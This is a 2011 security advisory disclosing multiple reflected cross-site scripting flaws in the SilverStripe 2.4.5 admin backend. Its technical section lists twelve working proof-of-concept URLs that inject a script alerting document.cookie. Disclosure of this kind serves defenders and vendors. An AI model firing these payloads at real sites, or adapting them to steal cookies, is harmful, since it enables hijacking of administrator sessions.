SilverStripe 2.4.5 Cross Site Scripting

`Advisory: SilverStripe 2.4.5 Multiple backend Cross-site scripting vulnerabilities  
Advisory ID: SSCHADV2011-024  
Author: Stefan Schurtz  
Affected Software: Successfully tested on SilverStripe 2.4.5  
Vendor URL: http://www.silverstripe.com/  
Vendor Status: informed  
CVE-ID: -  
  
==========================  
Vulnerability Description:  
==========================  
  
SilverStripe 2.4.5 backend is prone to multiple Cross-site scripting vulnerabilities  
  
==================  
Technical Details:  
==================  
  
Backend - XSS  
  
http://<target>/SilverStripe-v2.4.5/admin/reports/?'"</script><script>alert(document.cookie)</script>  
http://<target>/SilverStripe-v2.4.5/admin/comments/?'"</script><script>alert(document.cookie)</script>  
http://<target>/SilverStripe-v2.4.5/admin/?'"</script><script>alert(document.cookie)</script>  
http://<target>/SilverStripe-v2.4.5/admin/show/4?'"</script><script>alert(document.cookie)</script>  
http://<target>/SilverStripe-v2.4.5/admin/show/2?'"</script><script>alert(document.cookie)</script>  
http://<target>/SilverStripe-v2.4.5/admin/show/root?'"</script><script>alert(document.cookie)</script>  
http://<target>/SilverStripe-v2.4.5/admin/show/3?'"</script><script>alert(document.cookie)</script>  
http://<target>/SilverStripe-v2.4.5/admin/show/?'"</script><script>alert(document.cookie)</script>  
http://<target>/SilverStripe-v2.4.5/admin/assets/?'"</script><script>alert(document.cookie)</script>  
http://<target>/SilverStripe-v2.4.5/admin/show/1?'"</script><script>alert(document.cookie)</script>  
http://<target>/SilverStripe-v2.4.5/admin/show/5?'"</script><script>alert(document.cookie)</script>  
http://<target>/SilverStripe-v2.4.5/admin/security/?'"</script><script>alert(document.cookie)</script>  
  
=========  
Solution:  
=========  
  
-  
  
====================  
Disclosure Timeline:  
====================  
  
05-Oct-2011 - informed developers  
06-Oct-2011 - release date of this security advisory  
  
========  
Credits:  
========  
  
Vulnerabilities found and advisory written by Stefan Schurtz.  
  
===========  
References:  
===========  
  
http://www.silverstripe.com/  
http://www.rul3z.de/advisories/SSCHADV2011-024.txt  
`